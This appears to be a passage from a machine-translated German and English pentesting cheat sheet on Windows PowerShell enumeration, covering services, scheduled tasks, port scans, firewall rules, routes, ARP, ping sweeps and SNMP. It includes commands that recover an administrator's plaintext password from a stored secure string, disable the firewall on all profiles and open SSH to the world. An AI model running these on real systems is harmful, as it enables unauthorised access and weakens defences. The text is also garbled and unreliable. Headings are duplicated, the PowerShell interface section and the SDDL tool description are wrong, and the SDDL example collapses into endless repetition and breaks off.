Das Remote Desktop Protocol (RDP) ist ein proprietäres Protokoll, das von Microsoft entwickelt wurde und es Benutzern ermöglicht, eine Verbindung zu einem entfernten Computer über eine Netzwerkverbindung herzustellen. RDP bietet eine grafische Benutzeroberfläche für den Remotezugriff und ermöglicht es Benutzern, den entfernten Computer zu steuern, als säßen sie direkt davor.
Simple Mail Transfer Protocol (SMTP)
Simple Mail Transfer Protocol (SMTP)
The Simple Mail Transfer Protocol (SMTP) is an Internet standard for electronic mail (email) transmission. SMTP is used to send and receive email messages between mail servers. It defines how email messages should be formatted and transmitted over the Internet.
Das Simple Mail Transfer Protocol (SMTP) ist ein Internetstandard für die Übertragung von elektronischer Post (E-Mail). SMTP wird verwendet, um E-Mail-Nachrichten zwischen Mailservern zu senden und zu empfangen. Es definiert, wie E-Mail-Nachrichten formatiert und über das Internet übertragen werden sollen.
Server Message Block (SMB)
Server Message Block (SMB)
The Server Message Block (SMB) is a network protocol used for file sharing, printer sharing, and communication between computers in a Windows network. SMB allows computers to share files and resources over a network and is commonly used for accessing shared folders and printers.
Der Server Message Block (SMB) ist ein Netzwerkprotokoll, das für die Dateifreigabe, die Druckerfreigabe und die Kommunikation zwischen Computern in einem Windows-Netzwerk verwendet wird. SMB ermöglicht es Computern, Dateien und Ressourcen über ein Netzwerk freizugeben und wird häufig zum Zugriff auf freigegebene Ordner und Drucker verwendet.
Telnet
Telnet
Telnet is a network protocol used to establish a remote shell session or a virtual terminal connection to a remote host. Telnet allows users to access and manage remote systems over a network connection.
Telnet ist ein Netzwerkprotokoll, das verwendet wird, um eine Remote-Shell-Sitzung oder eine virtuelle Terminalverbindung zu einem entfernten Host herzustellen. Telnet ermöglicht Benutzern den Zugriff auf und die Verwaltung von entfernten Systemen über eine Netzwerkverbindung.
Virtual Network Computing (VNC)
Virtual Network Computing (VNC)
Virtual Network Computing (VNC) is a graphical desktop sharing system that allows users to remotely control another computer's desktop. VNC provides a platform-independent way of accessing and managing remote desktops.
Virtual Network Computing (VNC) ist ein grafisches Desktop-Sharing-System, das Benutzern ermöglicht, den Desktop eines anderen Computers remote zu steuern. VNC bietet eine plattformunabhängige Möglichkeit zum Zugriff auf und zur Verwaltung von Remote-Desktops.
Windows Remote Management (WinRM)
Windows Remote Management (WinRM)
Windows Remote Management (WinRM) is a Microsoft implementation of the WS-Management protocol. It allows administrators to remotely manage computers running Windows operating systems. WinRM provides a command-line interface and a scripting API for managing remote systems.
Windows Remote Management (WinRM) ist eine Microsoft-Implementierung des WS-Management-Protokolls. Es ermöglicht Administratoren, Computer mit Windows-Betriebssystemen remote zu verwalten. WinRM bietet eine Befehlszeilenschnittstelle und eine Skript-API zum Verwalten von Remote-Systemen.
Conclusion
Fazit
Understanding the different services that can be found in a Windows environment is essential for a successful penetration test. By familiarizing yourself with these services, you will be better equipped to identify potential vulnerabilities and exploit them effectively.
Das Verständnis der verschiedenen Dienste, die in einer Windows-Umgebung zu finden sind, ist für einen erfolgreichen Penetrationstest unerlässlich. Indem Sie sich mit diesen Diensten vertraut machen, sind Sie besser in der Lage, potenzielle Schwachstellen zu identifizieren und sie effektiv auszunutzen.
Get-Service
Passwort aus sicherer Zeichenfolge
Manchmal müssen Sie möglicherweise ein Passwort aus einer sicheren Zeichenfolge extrahieren, um es in einem Skript oder einer Anwendung zu verwenden. PowerShell bietet eine einfache Möglichkeit, dies zu tun.
Verwenden Sie den folgenden Befehl, um eine sichere Zeichenfolge in ein Klartext-Passwort umzuwandeln:
$secureString = ConvertTo-SecureString -String "SecurePassword" -AsPlainText -Force
$password = [Runtime.InteropServices.Marshal]::PtrToStringAuto([Runtime.InteropServices.Marshal]::SecureStringToBSTR($secureString))
Ersetzen Sie "SecurePassword" durch Ihre eigene sichere Zeichenfolge. Das Passwort wird dann in der Variable $password
gespeichert und kann in Ihrem Skript oder Ihrer Anwendung verwendet werden.
$pw=gc admin-pass.xml | convertto-securestring #Get the securestring from the file
$cred=new-object system.management.automation.pscredential("administrator", $pw)
$cred.getnetworkcredential() | fl * #Get plaintext password
Geplante Aufgaben
Scheduled tasks are a powerful feature in Windows that allow you to automate the execution of scripts, programs, or commands at specific times or intervals. They can be used for various purposes, such as system maintenance, data backups, or even malicious activities during a penetration test.
Geplante Aufgaben sind eine leistungsstarke Funktion in Windows, mit der Sie die Ausführung von Skripten, Programmen oder Befehlen zu bestimmten Zeiten oder Intervallen automatisieren können. Sie können für verschiedene Zwecke verwendet werden, wie z.B. Systemwartung, Datensicherungen oder sogar bösartige Aktivitäten während eines Penetrationstests.
Viewing Scheduled Tasks
Anzeigen geplanter Aufgaben
To view the list of scheduled tasks on a Windows system, you can use the schtasks
command in PowerShell. Here's an example:
Um die Liste der geplanten Aufgaben auf einem Windows-System anzuzeigen, können Sie den Befehl schtasks
in PowerShell verwenden. Hier ist ein Beispiel:
schtasks /query /fo LIST /v
This command will display detailed information about each scheduled task, including the task name, status, triggers, and actions.
Dieser Befehl zeigt detaillierte Informationen zu jeder geplanten Aufgabe an, einschließlich des Aufgabennamens, des Status, der Auslöser und der Aktionen.
Creating Scheduled Tasks
Erstellen geplanter Aufgaben
To create a new scheduled task, you can use the schtasks
command with the /create
parameter. Here's an example:
Um eine neue geplante Aufgabe zu erstellen, können Sie den Befehl schtasks
mit dem Parameter /create
verwenden. Hier ist ein Beispiel:
schtasks /create /tn "MyTask" /tr "C:\path\to\script.ps1" /sc DAILY /st 08:00
This command will create a new scheduled task named "MyTask" that runs the script located at "C:\path\to\script.ps1" every day at 08:00.
Dieser Befehl erstellt eine neue geplante Aufgabe mit dem Namen "MyTask", die das Skript unter "C:\path\to\script.ps1" täglich um 08:00 Uhr ausführt.
Modifying Scheduled Tasks
Ändern geplanter Aufgaben
To modify an existing scheduled task, you can use the schtasks
command with the /change
parameter. Here's an example:
Um eine vorhandene geplante Aufgabe zu ändern, können Sie den Befehl schtasks
mit dem Parameter /change
verwenden. Hier ist ein Beispiel:
schtasks /change /tn "MyTask" /tr "C:\path\to\new_script.ps1"
This command will modify the scheduled task named "MyTask" to run the new script located at "C:\path\to\new_script.ps1".
Dieser Befehl ändert die geplante Aufgabe mit dem Namen "MyTask" so, dass das neue Skript unter "C:\path\to\new_script.ps1" ausgeführt wird.
Deleting Scheduled Tasks
Löschen geplanter Aufgaben
To delete a scheduled task, you can use the schtasks
command with the /delete
parameter. Here's an example:
Um eine geplante Aufgabe zu löschen, können Sie den Befehl schtasks
mit dem Parameter /delete
verwenden. Hier ist ein Beispiel:
schtasks /delete /tn "MyTask" /f
This command will delete the scheduled task named "MyTask" forcefully (/f
).
Dieser Befehl löscht die geplante Aufgabe mit dem Namen "MyTask" erzwungenermaßen (/f
).
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State
Portscan
Ein Portscan ist ein Verfahren, bei dem versucht wird, offene Ports auf einem Netzwerkgerät zu identifizieren. Dies ermöglicht es einem Angreifer, potenzielle Schwachstellen zu finden und mögliche Angriffsvektoren zu erkennen. Es gibt verschiedene Tools und Techniken, um einen Portscan durchzuführen, darunter:
- TCP-Scans: Bei einem TCP-Scan werden TCP-Verbindungen zu verschiedenen Ports auf einem Zielgerät hergestellt, um festzustellen, ob der Port geöffnet oder geschlossen ist. Dies kann mit Tools wie Nmap oder hping3 durchgeführt werden.
- UDP-Scans: Bei einem UDP-Scan werden UDP-Pakete an verschiedene Ports auf einem Zielgerät gesendet, um festzustellen, ob der Port geöffnet oder geschlossen ist. Dies kann mit Tools wie Nmap oder hping3 durchgeführt werden.
- SYN-Scans: Bei einem SYN-Scan wird eine Verbindung zu einem Zielgerät hergestellt, indem ein SYN-Paket gesendet wird. Wenn das Zielgerät ein SYN/ACK-Paket als Antwort sendet, ist der Port geöffnet. Wenn das Zielgerät ein RST-Paket sendet, ist der Port geschlossen. Dies kann mit Tools wie Nmap oder hping3 durchgeführt werden.
- ACK-Scans: Bei einem ACK-Scan wird ein ACK-Paket an einen bestimmten Port auf einem Zielgerät gesendet. Wenn das Zielgerät ein RST-Paket sendet, ist der Port geschlossen. Wenn das Zielgerät kein RST-Paket sendet, ist der Port geöffnet. Dies kann mit Tools wie Nmap oder hping3 durchgeführt werden.
- FIN-Scans: Bei einem FIN-Scan wird ein FIN-Paket an einen bestimmten Port auf einem Zielgerät gesendet. Wenn das Zielgerät ein RST-Paket sendet, ist der Port geschlossen. Wenn das Zielgerät kein RST-Paket sendet, ist der Port geöffnet. Dies kann mit Tools wie Nmap oder hping3 durchgeführt werden.
- XMAS-Scans: Bei einem XMAS-Scan werden FIN, URG und PUSH-Flags in einem TCP-Paket gesetzt und an einen bestimmten Port auf einem Zielgerät gesendet. Wenn das Zielgerät ein RST-Paket sendet, ist der Port geschlossen. Wenn das Zielgerät kein RST-Paket sendet, ist der Port geöffnet. Dies kann mit Tools wie Nmap oder hping3 durchgeführt werden.
- NULL-Scans: Bei einem NULL-Scan wird ein TCP-Paket ohne Flags an einen bestimmten Port auf einem Zielgerät gesendet. Wenn das Zielgerät ein RST-Paket sendet, ist der Port geschlossen. Wenn das Zielgerät kein RST-Paket sendet, ist der Port geöffnet. Dies kann mit Tools wie Nmap oder hping3 durchgeführt werden.
Es ist wichtig zu beachten, dass das Durchführen eines Portscans ohne Zustimmung des Eigentümers des Zielgeräts illegal sein kann. Es ist immer ratsam, vor dem Durchführen eines Portscans die entsprechenden rechtlichen und ethischen Richtlinien zu beachten.
# Check Port or Single IP
Test-NetConnection -Port 80 10.10.10.10
# Check Port List in Single IP
80,443,8080 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.10.10.10",$_)) "Port $_ is open!"} 2>$null
# Check Port Range in single IP
1..1024 | % {echo ((New-Object Net.Sockets.TcpClient).Connect("10.10.10.10", $_)) "TCP port $_ is open"} 2>$null
# Check Port List in IP Lists - 80,443,445,8080
"10.10.10.10","10.10.10.11" | % { $a = $_; write-host "[INFO] Testing $_ ..."; 80,443,445,8080 | % {echo ((new-object Net.Sockets.TcpClient).Connect("$a",$_)) "$a : $_ is open!"} 2>$null}
Schnittstellen
Eine Schnittstelle definiert die Methoden und Eigenschaften, die ein Objekt bereitstellt, um mit anderen Objekten zu interagieren. In PowerShell können Schnittstellen mit dem interface
-Schlüsselwort definiert werden.
interface IExampleInterface {
[string] GetInfo()
[void] DoSomething()
}
Um eine Schnittstelle zu implementieren, muss eine Klasse das interface
-Schlüsselwort verwenden und alle Methoden und Eigenschaften der Schnittstelle implementieren.
class ExampleClass : IExampleInterface {
[string] GetInfo() {
return "Information from ExampleClass"
}
[void] DoSomething() {
Write-Host "Doing something..."
}
}
Eine Klasse kann mehrere Schnittstellen implementieren, indem sie sie mit Kommas trennt.
class ExampleClass : IExampleInterface, IOtherInterface {
# Implement methods and properties
}
Schnittstellen ermöglichen es, Code modularer zu gestalten und die Wiederverwendbarkeit von Klassen zu verbessern. Sie definieren einen Vertrag, den eine Klasse erfüllen muss, um als bestimmter Typ betrachtet zu werden.
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
Firewall
Eine Firewall ist eine Sicherheitsvorrichtung, die den Datenverkehr zwischen einem internen Netzwerk und einem externen Netzwerk überwacht und kontrolliert. Sie dient dazu, unerwünschten Datenverkehr zu blockieren und das interne Netzwerk vor potenziellen Angriffen zu schützen.
In Windows gibt es verschiedene Arten von Firewalls, darunter die integrierte Windows-Firewall und Drittanbieter-Firewalls. Die Windows-Firewall ist standardmäßig aktiviert und bietet grundlegende Schutzfunktionen. Es ist jedoch wichtig, die Firewall-Einstellungen zu überprüfen und anzupassen, um eine optimale Sicherheit zu gewährleisten.
Windows-Firewall aktivieren/deaktivieren
Um die Windows-Firewall zu aktivieren oder zu deaktivieren, können Sie die folgenden PowerShell-Befehle verwenden:
# Firewall aktivieren
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled True
# Firewall deaktivieren
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
Firewall-Regeln hinzufügen
Sie können auch benutzerdefinierte Firewall-Regeln hinzufügen, um den Datenverkehr zu steuern. Hier ist ein Beispiel für das Hinzufügen einer eingehenden Regel, um den Zugriff auf einen bestimmten Port zu ermöglichen:
# Eingehende Regel hinzufügen
New-NetFirewallRule -DisplayName "Allow Port 8080" -Direction Inbound -LocalPort 8080 -Protocol TCP -Action Allow
Firewall-Regeln anzeigen
Um die vorhandenen Firewall-Regeln anzuzeigen, verwenden Sie den folgenden Befehl:
Get-NetFirewallRule
Dies zeigt eine Liste aller Firewall-Regeln mit ihren Eigenschaften an.
Firewall-Status überprüfen
Um den Status der Windows-Firewall zu überprüfen, verwenden Sie den folgenden Befehl:
Get-NetFirewallProfile | Select-Object Name, Enabled
Dies zeigt den Namen und den Aktivierungsstatus der Firewall-Profile an.
Es ist wichtig, die Firewall-Einstellungen regelmäßig zu überprüfen und sicherzustellen, dass sie den Sicherheitsanforderungen entsprechen. Eine gut konfigurierte Firewall ist ein wesentlicher Bestandteil der Sicherheit eines Windows-Systems.
Get-NetFirewallRule -Enabled True
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Allow
Get-NetFirewallRule -Direction Inbound -Enabled True -Action Block
Get-NetFirewallRule -Direction Inbound -Enabled True -Action Allow
# Open SSH to the world
New-NetFirewallRule -DisplayName 'SSH (Port 22)' -Direction Inbound -LocalPort 22 -Protocol TCP -Action Allow
# Get name, proto, local and rremote ports, remote address, penable,profile and direction
## You can user the following line changing the initial filters to indicat a difefrent direction or action
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block | Format-Table -Property DisplayName, @{Name='Protocol';Expression={($PSItem | Get-NetFirewallPortFilter).Protocol}},@{Name='LocalPort';Expression={($PSItem | Get-NetFirewallPortFilter).LocalPort}}, @{Name='RemotePort';Expression={($PSItem | Get-NetFirewallPortFilter).RemotePort}},@{Name='RemoteAddress';Expression={($PSItem | Get-NetFirewallAddressFilter).RemoteAddress}},Profile,Direction,Action
Route
Die Route
-Funktion in PowerShell ermöglicht es Ihnen, die Routing-Tabelle eines Windows-Systems anzuzeigen und zu verwalten. Sie können Informationen über die Netzwerkverbindungen, Gateways und Schnittstellen erhalten.
Routing-Tabelle anzeigen
Um die Routing-Tabelle anzuzeigen, verwenden Sie den Befehl Get-NetRoute
. Dieser Befehl gibt eine Liste aller Routen auf dem System aus, einschließlich der Zielnetzwerke, Subnetzmasken, Gateways und Schnittstellen.
Get-NetRoute
Neue Route hinzufügen
Um eine neue Route hinzuzufügen, verwenden Sie den Befehl New-NetRoute
. Sie müssen das Zielnetzwerk, die Subnetzmaske, das Gateway und die Schnittstelle angeben.
New-NetRoute -DestinationPrefix <Zielnetzwerk> -InterfaceIndex <Schnittstellenindex> -NextHop <Gateway> -RouteMetric <Metrik>
Route löschen
Um eine Route zu löschen, verwenden Sie den Befehl Remove-NetRoute
. Sie müssen das Zielnetzwerk, die Subnetzmaske, das Gateway und die Schnittstelle angeben.
Remove-NetRoute -DestinationPrefix <Zielnetzwerk> -InterfaceIndex <Schnittstellenindex> -NextHop <Gateway>
Beispiel
Hier ist ein Beispiel, wie Sie eine neue Route hinzufügen können:
New-NetRoute -DestinationPrefix 10.0.0.0/24 -InterfaceIndex 2 -NextHop 192.168.1.1 -RouteMetric 10
Dieser Befehl fügt eine Route für das Zielnetzwerk 10.0.0.0/24 hinzu, verwendet die Schnittstelle mit dem Index 2, das Gateway 192.168.1.1 und eine Metrik von 10.
Weitere Informationen
Weitere Informationen zur Route
-Funktion in PowerShell finden Sie in der offiziellen Microsoft-Dokumentation.
route print
ARP
ARP (Address Resolution Protocol) ist ein Netzwerkprotokoll, das verwendet wird, um die MAC-Adresse (Media Access Control) eines Geräts in einem lokalen Netzwerk zu ermitteln. Es ermöglicht die Zuordnung einer IP-Adresse zu einer physischen MAC-Adresse.
ARP-Spoofing ist eine Technik, bei der ein Angreifer gefälschte ARP-Nachrichten sendet, um den Datenverkehr in einem Netzwerk umzuleiten. Dies kann verwendet werden, um Man-in-the-Middle-Angriffe durchzuführen und den Datenverkehr zwischen zwei Kommunikationspartnern abzufangen oder zu manipulieren.
Um ARP-Spoofing zu erkennen, können Tools wie ARPWatch oder ARPScan verwendet werden. Diese Tools überwachen das Netzwerk auf verdächtige ARP-Aktivitäten und warnen den Administrator, wenn ein Angriff erkannt wird.
Um sich vor ARP-Spoofing-Angriffen zu schützen, können verschiedene Maßnahmen ergriffen werden, wie z.B. die Verwendung von statischen ARP-Einträgen, die Aktivierung von Port-Security auf Netzwerkswitches oder die Verwendung von Verschlüsselungstechnologien wie VPN (Virtual Private Network).
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State
Hosts
Die Datei hosts
ist eine Textdatei, die auf Windows-Systemen verwendet wird, um die Zuordnung von IP-Adressen zu Hostnamen zu steuern. Sie wird normalerweise verwendet, um die Auflösung von Hostnamen zu IP-Adressen zu beeinflussen, bevor eine DNS-Anfrage gesendet wird. Die Datei hosts
befindet sich normalerweise im Verzeichnis C:\Windows\System32\drivers\etc
und kann mit einem Texteditor wie Notepad geöffnet und bearbeitet werden.
In der Datei hosts
können Sie IP-Adressen und Hostnamen hinzufügen, um die DNS-Auflösung zu umgehen oder umzuleiten. Dies kann nützlich sein, um den Zugriff auf bestimmte Websites zu blockieren oder um eine Website auf eine andere IP-Adresse umzuleiten.
Es ist wichtig zu beachten, dass Änderungen an der Datei hosts
nur auf dem lokalen System wirksam sind und nicht auf andere Systeme im Netzwerk angewendet werden.
Get-Content C:\WINDOWS\System32\drivers\etc\hosts
Ping
Ping ist ein Befehl, der verwendet wird, um die Erreichbarkeit eines Netzwerkgeräts zu überprüfen. Es sendet ICMP Echo Request-Pakete an das Zielgerät und erwartet ICMP Echo Reply-Pakete als Antwort. Dieser Befehl kann verwendet werden, um die Latenzzeit zwischen dem Absenden eines Pakets und dem Empfangen einer Antwort zu messen. Es kann auch verwendet werden, um festzustellen, ob ein bestimmtes Gerät in einem Netzwerk erreichbar ist.
Syntax
ping <Zieladresse>
Beispiel
ping 192.168.0.1
Dieser Befehl sendet ICMP Echo Request-Pakete an die IP-Adresse 192.168.0.1 und erwartet ICMP Echo Reply-Pakete als Antwort. Die Ausgabe zeigt die Anzahl der gesendeten Pakete, die Anzahl der empfangenen Pakete, den Verlustprozentsatz und die durchschnittliche Latenzzeit für jede Antwort an.
$ping = New-Object System.Net.Networkinformation.Ping
1..254 | % { $ping.send("10.9.15.$_") | select address, status }
SNMP
SNMP (Simple Network Management Protocol) ist ein Protokoll, das zur Verwaltung und Überwachung von Netzwerkgeräten verwendet wird. Es ermöglicht die Kommunikation zwischen einem Netzwerkmanagement-System (NMS) und den verwalteten Geräten. SNMP ermöglicht es Administratoren, Informationen über den Zustand und die Leistung der Geräte abzurufen und Konfigurationsänderungen vorzunehmen.
SNMP besteht aus drei Hauptkomponenten: dem SNMP-Manager, dem SNMP-Agenten und dem Management Information Base (MIB). Der SNMP-Manager ist die zentrale Steuerungseinheit, die die Kommunikation mit den Agenten verwaltet. Der SNMP-Agent ist eine Softwarekomponente, die auf den verwalteten Geräten läuft und Informationen über den Gerätezustand sammelt und an den Manager sendet. Die MIB ist eine Datenbank, die die Struktur und den Inhalt der von den Agenten gesammelten Informationen definiert.
SNMP verwendet eine Client-Server-Architektur, bei der der Manager Anfragen an den Agenten sendet und dieser die angeforderten Informationen zurückgibt. Die Kommunikation erfolgt über das User Datagram Protocol (UDP) auf Port 161.
SNMP bietet verschiedene Versionen, darunter SNMPv1, SNMPv2c und SNMPv3. SNMPv1 ist die ursprüngliche Version und bietet grundlegende Funktionen zur Überwachung und Konfiguration von Geräten. SNMPv2c erweitert die Funktionen von SNMPv1 und bietet zusätzliche Sicherheitsfunktionen. SNMPv3 ist die sicherste Version und bietet Verschlüsselung und Authentifizierung für die Kommunikation zwischen Manager und Agent.
SNMP kann von Pentestern genutzt werden, um Informationen über Netzwerkgeräte zu sammeln, Schwachstellen zu identifizieren und Konfigurationsänderungen vorzunehmen. Es ist wichtig, SNMP sicher zu konfigurieren, um unbefugten Zugriff und potenzielle Angriffe zu verhindern.
Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse
Konvertieren des SDDL-Strings in ein lesbares Format
Um den SDDL-String in ein lesbares Format zu konvertieren, können Sie das PowerShell-Skript ConvertFrom-SddlString
verwenden. Dieses Skript ermöglicht es Ihnen, die Berechtigungen und Zugriffssteuerungseinträge (ACEs) im SDDL-Format in eine lesbare Darstellung umzuwandeln.
Verwendung
- Öffnen Sie eine PowerShell-Eingabeaufforderung.
- Führen Sie den folgenden Befehl aus, um das
ConvertFrom-SddlString
-Skript zu laden:
. .\ConvertFrom-SddlString.ps1
- Geben Sie den SDDL-String ein, den Sie konvertieren möchten, und drücken Sie die Eingabetaste.
ConvertFrom-SddlString -SddlString "<SDDL-String>"
Beispiel
Angenommen, Sie haben den folgenden SDDL-String:
O:BAG:BAD:(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;;;WD)(A;;0x12019f;